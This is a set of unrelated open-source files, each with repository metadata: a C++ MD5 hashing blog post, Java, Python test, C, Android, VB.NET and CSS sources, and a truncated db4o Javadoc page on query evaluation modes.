((a), (s)); \ (a) += (b); \ } #define II(a, b, c, d, x, s, ac) { \ (a) += I ((b), (c), (d)) + (x) + ac; \ (a) = ROTATE_LEFT ((a), (s)); \ (a) += (b); \ } const byte MD5::PADDING[64] = { 0x80 }; const char MD5::HEX[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; /* Default construct. */ MD5::MD5() { reset(); } /* Construct a MD5 object with a input buffer. */ MD5::MD5(const void* input, size_t length) { reset(); update(input, length); } /* Construct a MD5 object with a string. */ MD5::MD5(const string& str) { reset(); update(str); } /* Construct a MD5 object with a file. */ MD5::MD5(ifstream& in) { reset(); update(in); } /* Return the message-digest */ const byte* MD5::digest() { if (!_finished) { _finished = true; final(); } return _digest; } /* Reset the calculate state */ void MD5::reset() { _finished = false; /* reset number of bits. */ _count[0] = _count[1] = 0; /* Load magic initialization constants. */ _state[0] = 0x67452301; _state[1] = 0xefcdab89; _state[2] = 0x98badcfe; _state[3] = 0x10325476; } /* Updating the context with a input buffer. */ void MD5::update(const void* input, size_t length) { update((const byte*)input, length); } /* Updating the context with a string. */ void MD5::update(const string& str) { update((const byte*)str.c_str(), str.length()); } /* Updating the context with a file. */ void MD5::update(ifstream& in) { if (!in) { return; } std::streamsize length; char buffer[BUFFER_SIZE]; while (!in.eof()) { in.read(buffer, BUFFER_SIZE); length = in.gcount(); if (length > 0) { update(buffer, length); } } in.close(); } /* MD5 block update operation. Continues an MD5 message-digest operation, processing another message block, and updating the context. */ void MD5::update(const byte* input, size_t length) { uint32 i, index, partLen; _finished = false; /* Compute number of bytes mod 64 */ index = (uint32)((_count[0] >> 3) & 0x3f); /* update number of bits */ if ((_count[0] += ((uint32)length << 3)) < ((uint32)length << 3)) { ++_count[1]; } _count[1] += ((uint32)length >> 29); partLen = 64 - index; /* transform as many times as possible. */ if (length >= partLen) { memcpy(&_buffer[index], input, partLen); transform(_buffer); for (i = partLen; i + 63 < length; i += 64) { transform(&input[i]); } index = 0; } else { i = 0; } /* Buffer remaining input */ memcpy(&_buffer[index], &input[i], length - i); } /* MD5 finalization. Ends an MD5 message-_digest operation, writing the the message _digest and zeroizing the context. */ void MD5::final() { byte bits[8]; uint32 oldState[4]; uint32 oldCount[2]; uint32 index, padLen; /* Save current state and count. */ memcpy(oldState, _state, 16); memcpy(oldCount, _count, 8); /* Save number of bits */ encode(_count, bits, 8); /* Pad out to 56 mod 64. */ index = (uint32)((_count[0] >> 3) & 0x3f); padLen = (index < 56) ? (56 - index) : (120 - index); update(PADDING, padLen); /* Append length (before padding) */ update(bits, 8); /* Store state in digest */ encode(_state, _digest, 16); /* Restore current state and count. */ memcpy(_state, oldState, 16); memcpy(_count, oldCount, 8); } /* MD5 basic transformation. Transforms _state based on block. */ void MD5::transform(const byte block[64]) { uint32 a = _state[0], b = _state[1], c = _state[2], d = _state[3], x[16]; decode(block, x, 64); /* Round 1 */ FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */ FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */ FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */ FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */ FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */ FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */ FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */ FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */ FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */ FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */ FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */ FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */ FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */ FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */ FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */ FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */ /* Round 2 */ GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */ GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */ GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */ GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */ GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */ GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */ GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */ GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */ GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */ GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */ GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */ GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */ GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */ GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */ GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */ GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */ /* Round 3 */ HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */ HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */ HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */ HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */ HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */ HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */ HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */ HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */ HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */ HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */ HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */ HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */ HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */ HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */ HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */ HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */ /* Round 4 */ II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */ II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */ II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */ II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */ II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */ II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */ II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */ II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */ II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */ II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */ II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */ II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */ II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */ II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */ II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */ II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */ _state[0] += a; _state[1] += b; _state[2] += c; _state[3] += d; } /* Encodes input (ulong) into output (byte). Assumes length is a multiple of 4. */ void MD5::encode(const uint32* input, byte* output, size_t length) { for (size_t i = 0, j = 0; j < length; ++i, j += 4) { output[j]= (byte)(input[i] & 0xff); output[j + 1] = (byte)((input[i] >> 8) & 0xff); output[j + 2] = (byte)((input[i] >> 16) & 0xff); output[j + 3] = (byte)((input[i] >> 24) & 0xff); } } /* Decodes input (byte) into output (ulong). Assumes length is a multiple of 4. */ void MD5::decode(const byte* input, uint32* output, size_t length) { for (size_t i = 0, j = 0; j < length; ++i, j += 4) { output[i] = ((uint32)input[j]) | (((uint32)input[j + 1]) << 8) | (((uint32)input[j + 2]) << 16) | (((uint32)input[j + 3]) << 24); } } /* Convert byte array to hex string. */ string MD5::bytesToHexString(const byte* input, size_t length) { string str; str.reserve(length << 1); for (size_t i = 0; i < length; ++i) { int t = input[i]; int a = t / 16; int b = t % 16; str.append(1, HEX[a]); str.append(1, HEX[b]); } return str; } /* Convert digest to string value */ string MD5::toString() { return bytesToHexString(digest(), 16); } ``` test.cpp ``` #include "md5.h" #include <iostream> using namespace std; void PrintMD5(const string& str, MD5& md5) { cout << "MD5("" << str << "") = " << md5.toString() << endl; } int main() { MD5 md5; md5.update(""); PrintMD5("", md5); md5.update("a"); PrintMD5("a", md5); md5.update("bc"); PrintMD5("abc", md5); md5.update("defghijklmnopqrstuvwxyz"); PrintMD5("abcdefghijklmnopqrstuvwxyz", md5); md5.reset(); md5.update("message digest"); PrintMD5("message digest", md5); md5.reset(); md5.update(ifstream("D:\\test.txt")); PrintMD5("D:\\test.txt", md5); return 0; } ``` 测试结果: MD5("") = d41d8cd98f00b204e9800998ecf8427e MD5("a") = 0cc175b9c0f1b6a831c399e269772661 MD5("abc") = 900150983cd24fb0d6963f7d28e17f72 MD5("abcdefghijklmnopqrstuvwxyz") = c3fcd3d76192e4007dfb496cca67e13b MD5("message digest") = f96b697d7cb7938d525a2f31aaf161d0 MD5("D:\test.txt") = 7ac66c0f148de9519b8bd264312c4d64
song8356000/song8356000.github.io
_posts/2017-04-17-用C++计算文件的MD5值.md
Markdown
gpl-3.0
11,471
/******************************************************************************* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. *******************************************************************************/ package org.worldgrower; import java.io.Serializable; import java.util.HashMap; import java.util.List; import java.util.Map; import org.worldgrower.attribute.IntProperty; import org.worldgrower.attribute.ManagedProperty; import org.worldgrower.attribute.WorldObjectProperties; import org.worldgrower.condition.WorldStateChangedListeners; import org.worldgrower.goal.Goal; public class ImmutableWorldObject implements WorldObject, Serializable { private final WorldObjectProperties properties; private final List<ManagedProperty<?>> mutableProperties; private final OnTurn onTurn; private ImmutableWorldObject(WorldObjectProperties properties, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { super(); this.properties = properties; this.mutableProperties = mutableProperties; this.onTurn = onTurn; } public ImmutableWorldObject(WorldObject sourceWorldObject, List<ManagedProperty<?>> mutableProperties, OnTurn onTurn) { Map<ManagedProperty<?>, Object> properties = new HashMap<>(); for(ManagedProperty<?> key : sourceWorldObject.getPropertyKeys()) { properties.put(key, key.copy(sourceWorldObject.getProperty(key))); } this.properties = new WorldObjectProperties(properties); this.mutableProperties = mutableProperties; this.onTurn = onTurn; } @Override public <T> T getProperty(ManagedProperty<T> propertyKey) { return properties.get(propertyKey); } @Override public boolean hasProperty(ManagedProperty<?> propertyKey) { return properties.containsKey(propertyKey); } @Override public List<ManagedProperty<?>> getPropertyKeys() { return properties.keySet(); } @Override public <T> void setProperty(ManagedProperty<T> propertyKey, T value) { if (mutableProperties.contains(propertyKey)) { setPropertyInternal(propertyKey, value); } } public <T> void setPropertyInternal(ManagedProperty<T> propertyKey, T value) { properties.put(propertyKey, value); } @Override public <T> void setPropertyUnchecked(ManagedProperty<T> propertyKey, T value) { setPropertyInternal(propertyKey, value); } @Override public <T> void removeProperty(ManagedProperty<T> propertyKey) { if (mutableProperties.contains(propertyKey)) { properties.remove(propertyKey); } } @Override public void increment(IntProperty propertyKey, int incrementValue) { if (mutableProperties.contains(propertyKey)) { int currentValue = this.getProperty(propertyKey) + incrementValue; currentValue = propertyKey.normalize(currentValue); setProperty(propertyKey, currentValue); } } @Override public ManagedOperation getOperation(ManagedOperation operation) { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public List<ManagedOperation> getOperations() { throw new UnsupportedOperationException("Method getOperation is not supported"); } @Override public void onTurn(World world, WorldStateChangedListeners worldStateChangedListeners) { onTurn.onTurn(this, world, worldStateChangedListeners); } @Override public boolean hasIntelligence() { return false; } @Override public boolean isControlledByAI() { return false; } @Override public boolean canWorldObjectPerformAction(ManagedOperation operation) { return false; } @Override public List<Goal> getPriorities(World world) { return null; } @Override public <T> WorldObject shallowCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public <T> WorldObject deepCopy() { return new ImmutableWorldObject(properties, mutableProperties, onTurn); } @Override public WorldObject getActionWorldObject() { return this; } @Override public OnTurn getOnTurn() { return onTurn; } }
WorldGrower/WorldGrower
src/org/worldgrower/ImmutableWorldObject.java
Java
gpl-3.0
4,739
{% extends "base.html" %} {% block content %} <div id="singlefilm"> <p>Name: {{ room.number }}</p> <P>Capasity: {{ room.capacity }}</P> </div> {% endblock %}
Dayana-Marinova/Cinema-Reservation-System
cinema_system/room/templates/singleroom.html
HTML
gpl-3.0
167
""" This is a test of the chain ReportsClient -> ReportsGeneratorHandler -> AccountingDB It supposes that the DB is present, and that the service is running. Also the service DataStore has to be up and running. this is pytest! """ # pylint: disable=invalid-name,wrong-import-position import datetime import DIRAC DIRAC.initialize() # Initialize configuration from DIRAC import gLogger from DIRAC.AccountingSystem.Client.DataStoreClient import gDataStoreClient from DIRAC.AccountingSystem.Client.ReportsClient import ReportsClient from DIRAC.tests.Utilities.Accounting import createDataOperationAccountingRecord from DIRAC.tests.Utilities.Accounting import createStorageOccupancyAccountingRecord gLogger.setLevel("DEBUG") def test_addAndRemoveDataOperation(): # just inserting one record record = createDataOperationAccountingRecord() record.setStartTime() record.setEndTime() res = gDataStoreClient.addRegister(record) assert res["OK"] res = gDataStoreClient.commit() assert res["OK"] rc = ReportsClient() res = rc.listReports("DataOperation") assert res["OK"] res = rc.listUniqueKeyValues("DataOperation") assert res["OK"] res = rc.getReport( "DataOperation", "Successful transfers", datetime.datetime.utcnow(), datetime.datetime.utcnow(), {}, "Destination", ) assert res["OK"] # now removing that record res = gDataStoreClient.remove(record) assert res["OK"] def test_addAndRemoveStorageOccupancy(): # just inserting one record record = createStorageOccupancyAccountingRecord() record.setStartTime() record.setEndTime() res = gDataStoreClient.addRegister(record) assert res["OK"] res = gDataStoreClient.commit() assert res["OK"] rc = ReportsClient() res = rc.listReports("StorageOccupancy") assert res["OK"] res = rc.listUniqueKeyValues("StorageOccupancy") assert res["OK"] res = rc.getReport( "StorageOccupancy", "Free and Used Space", datetime.datetime.utcnow(), datetime.datetime.utcnow(), {}, "StorageElement", ) assert res["OK"] # now removing that record res = gDataStoreClient.remove(record) assert res["OK"]
DIRACGrid/DIRAC
tests/Integration/AccountingSystem/Test_ReportsClient.py
Python
gpl-3.0
2,308
/* Aether2DImgMaker -- console app to generate images of the Aether cellular automaton in 2D Copyright (C) 2017-2022 Jaume Ribas This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ package cellularautomata.model1d; public interface SymmetricLongModel1D extends LongModel1D, SymmetricModel1D { /** * <p> * Returns the value at a given position within the asymmetric section of the grid. * That is, where the x-coordinate is inside the [{@link #getAsymmetricMinX()}, {@link #getAsymmetricMaxX()}] bounds. * </p> * <p> * The result of getting the value of a position outside these bounds is undefined. * <p> * * @param x the position on the x-axis * @return the {@link long} value at (x) * @throws Exception */ long getFromAsymmetricPosition(int x) throws Exception; @Override default LongModel1D asymmetricSection() { return new AsymmetricLongModelSection1D<SymmetricLongModel1D>(this); } }
JaumeRibas/Aether2DImgMaker
CellularAutomata/src/cellularautomata/model1d/SymmetricLongModel1D.java
Java
gpl-3.0
1,577
/* This file is part of the 'neper' program. */ /* Copyright (C) 2003-2012, Romain Quey. */ /* See the COPYING file in the top-level directory. */ #include"neut_poly_polymod.h" void neut_poly_polymod (struct POLY Poly, struct POLYMOD *pPolymod) { neut_poly_polymodVerQty (Poly, pPolymod); neut_poly_polymodFaceQty (Poly, pPolymod); neut_poly_polymodVerProp (Poly, pPolymod); neut_poly_polymodFaceProp (Poly, pPolymod); return; }
zhulcghshsf1989/neper
src/neut/neut_poly/neut_poly_polymod/neut_poly_polymod1.c
C
gpl-3.0
442
package code.name.monkey.appthemehelper.common.prefs.supportv7; import android.content.Context; import android.support.v7.preference.ListPreference; import android.util.AttributeSet; import code.name.monkey.appthemehelper.R; /** * @author Aidan Follestad (afollestad) */ public class ATEListPreference extends ListPreference { public ATEListPreference(Context context) { super(context); init(context, null); } public ATEListPreference(Context context, AttributeSet attrs) { super(context, attrs); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(context, attrs); } public ATEListPreference(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) { super(context, attrs, defStyleAttr, defStyleRes); init(context, attrs); } private void init(Context context, AttributeSet attrs) { setLayoutResource(R.layout.ate_preference_custom_support); if (getSummary() == null || getSummary().toString().trim().isEmpty()) setSummary("%s"); } }
h4h13/RetroMusicPlayer
appthemehelper/src/main/java/code/name/monkey/appthemehelper/common/prefs/supportv7/ATEListPreference.java
Java
gpl-3.0
1,187
package com.michaelvescovo.android.itemreaper.edit_item; import com.michaelvescovo.android.itemreaper.util.FakeImageFileImpl; import com.michaelvescovo.android.itemreaper.util.ImageFile; import dagger.Module; import dagger.Provides; /** * @author Michael Vescovo */ @Module public class EditItemModule { private EditItemContract.View mView; public EditItemModule(EditItemContract.View view) { mView = view; } @Provides EditItemContract.View provideEditItemView() { return mView; } @Provides ImageFile provideImageFile() { return new FakeImageFileImpl(); } @Provides String provideUid() { return "testUid"; } }
mvescovo/item-reaper
app/src/mock/java/com/michaelvescovo/android/itemreaper/edit_item/EditItemModule.java
Java
gpl-3.0
701
Imports javax.swing ' ' * Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved. ' * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' * ' Namespace javax.swing.plaf.nimbus Friend Class SliderThumbArrowShapeState Inherits State Friend Sub New() MyBase.New("ArrowShape") End Sub Protected Friend Overrides Function isInState(ByVal c As JComponent) As Boolean Return c.getClientProperty("Slider.paintThumbArrowShape") Is Boolean.TRUE End Function End Class End Namespace
amethyst-asuka/java_dotnet
javax/swing/plaf/nimbus/SliderThumbArrowShapeState.vb
Visual Basic
gpl-3.0
609
/*! @file list.h @brief Header file for list data @timestamp Tue, 07 Oct 2014 07:32:14 +0000 @author Patrick Head mailto:patrickhead@gmail.com @copyright Copyright (C) 2014 Patrick Head @license This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.@n @n This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.@n @n You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /*! @file list.h Header file for linked list structure data management This module provides a generic management interface for the classic double linked list data structure. In addition to the global list management functions, functions are also provided to insert/delete/change list elements, search for list items by reference and data value. Also, functions are provided for queue and stack operations. */ #ifndef LIST_H #define LIST_H /*! @brief Prototypes for user defined data free/compare functions */ typedef void (*list_payload_free)(void * const payload); typedef int (*list_payload_compare)(void * const pl1, void * const pl2); /*! @brief "Whence" type for insert/delete operations */ typedef enum { HEAD = 0, CURR, TAIL } list_whence_t; /*! @brief List data structure */ typedef struct { /*! @brief Pointer to internal data (encapsulates interface) */ void *internals; } list_s; // List function prototypes // Structure management functions list_s *list_create(void); void list_destroy(list_s * const list); void list_free(list_s * const list); void list_set_free(list_s * const list, list_payload_free func); int list_len(list_s * const list); // Element operation functions void list_insert(list_s * const list, void * const payload, void * const whence); void list_delete(list_s * const list, void * const whence); void *list_remove(list_s * const list, void * const whence); void list_replace(list_s * const list, void * const payload, void * const whence); // Element search functions void *list_find_by_reference(list_s * const list, void * const reference); void *list_find_by_value(list_s * const list, void * const value, list_payload_compare func); // Element position functions void *list_head(list_s * const list); void *list_curr(list_s * const list); void *list_tail(list_s * const list); void *list_next(list_s * const list); void *list_prev(list_s * const list); // FIFO queue functions void list_queue(list_s * const list, void * const payload); void *list_dequeue(list_s * const list); // Stack (LIFO queue) functions void list_push(list_s * const list, void * const payload); void *list_pop(list_s * const list); #endif // LIST_H
PatrickHead/gray
include/list.h
C
gpl-3.0
3,304
:root { --content-maxwidth: auto; }
tdegeus/GooseEYE
custom.css
CSS
gpl-3.0
38
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_20) on Mon Nov 05 16:19:57 GMT 2012 --> <TITLE> QueryConfiguration (db4o - database for objects - documentation) </TITLE> <META NAME="date" CONTENT="2012-11-05"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="QueryConfiguration (db4o - database for objects - documentation)"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> db4o 8.0</EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../com/db4o/config/ObjectTranslator.html" title="interface in com.db4o.config"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?com/db4o/config/QueryConfiguration.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="QueryConfiguration.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <!-- ======== START OF CLASS DATA ======== --> <H2> <FONT SIZE="-1"> com.db4o.config</FONT> <BR> Interface QueryConfiguration</H2> <HR> <DL> <DT><PRE>public interface <B>QueryConfiguration</B></DL> </PRE> <P> interface to configure the querying settings to be used by the query processor. <br><br>All settings can be configured after opening an ObjectContainer. In a Client/Server setup the client-side configuration will be used. <P> <P> <HR> <P> <!-- ========== METHOD SUMMARY =========== --> <A NAME="method_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Method Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;<A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config">QueryEvaluationMode</A></CODE></FONT></TD> <TD><CODE><B><A HREF="../../../com/db4o/config/QueryConfiguration.html#evaluationMode()">evaluationMode</A></B>()</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>&nbsp;void</CODE></FONT></TD> <TD><CODE><B><A HREF="../../../com/db4o/config/QueryConfiguration.html#evaluationMode(com.db4o.config.QueryEvaluationMode)">evaluationMode</A></B>(<A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config">QueryEvaluationMode</A>&nbsp;mode)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;configures the query processor evaluation mode.</TD> </TR> </TABLE> &nbsp; <P> <!-- ============ METHOD DETAIL ========== --> <A NAME="method_detail"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="1"><FONT SIZE="+2"> <B>Method Detail</B></FONT></TH> </TR> </TABLE> <A NAME="evaluationMode(com.db4o.config.QueryEvaluationMode)"><!-- --></A><H3> evaluationMode</H3> <PRE> void <B>evaluationMode</B>(<A HREF="../../../com/db4o/config/QueryEvaluationMode.html" title="class in com.db4o.config">QueryEvaluationMode</A>&nbsp;mode)</PRE> <DL> <DD>configures the query processor evaluation mode. <br><br>The db4o query processor can run in three modes:<br> - <b>Immediate</b> mode<br> - <b>Snapshot</b> mode<br> - <b>Lazy</b> mode<br><br> In <b>Immediate</b> mode, a query will be fully evaluated when <A HREF="../../../com/db4o/query/Query.html#execute()"><CODE>Query.execute()</CODE></A> is called. The complete <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A> of all matching IDs is generated immediately.<br><br> In <b>Snapshot</b> mode, the <A HREF="../../../com/db4o/query/Query.html#execute()"><CODE>Query.execute()</CODE></A> call will trigger all index processing immediately. A snapshot of the current state of all relevant indexes is taken for further processing by the SODA query processor. All non-indexed constraints and all evaluations will be run when the user application iterates through the resulting <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A>.<br><br> In <b>Lazy</b> mode, the <A HREF="../../../com/db4o/query/Query.html#execute()"><CODE>Query.execute()</CODE></A> call will only create an Iterator against the best index found. Further query processing (including all index processing) will happen when the user application iterates through the resulting <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A>.<br><br> Advantages and disadvantages of the individual modes:<br><br> <b>Immediate</b> mode<br> <b>+</b> If the query is intended to iterate through the entire resulting <A HREF="../../../com/db4o/ObjectSet.html" title="interface in com.db4o"><CODE>ObjectSet</CODE></A>, this mode will be slightly faster than the others.<br> <b>+</b> The query will process without intermediate side effects from changed objects (by the caller or by other transactions).<br> <b>-</b> Query processing can block the server for a long time.<br> <b>-</b> In comparison to the other modes it will take longest until the first results are returned.<br> <b>-</b> The ObjectSet will require a considerate amount of memory to hold the IDs of all found objects.<br><br> 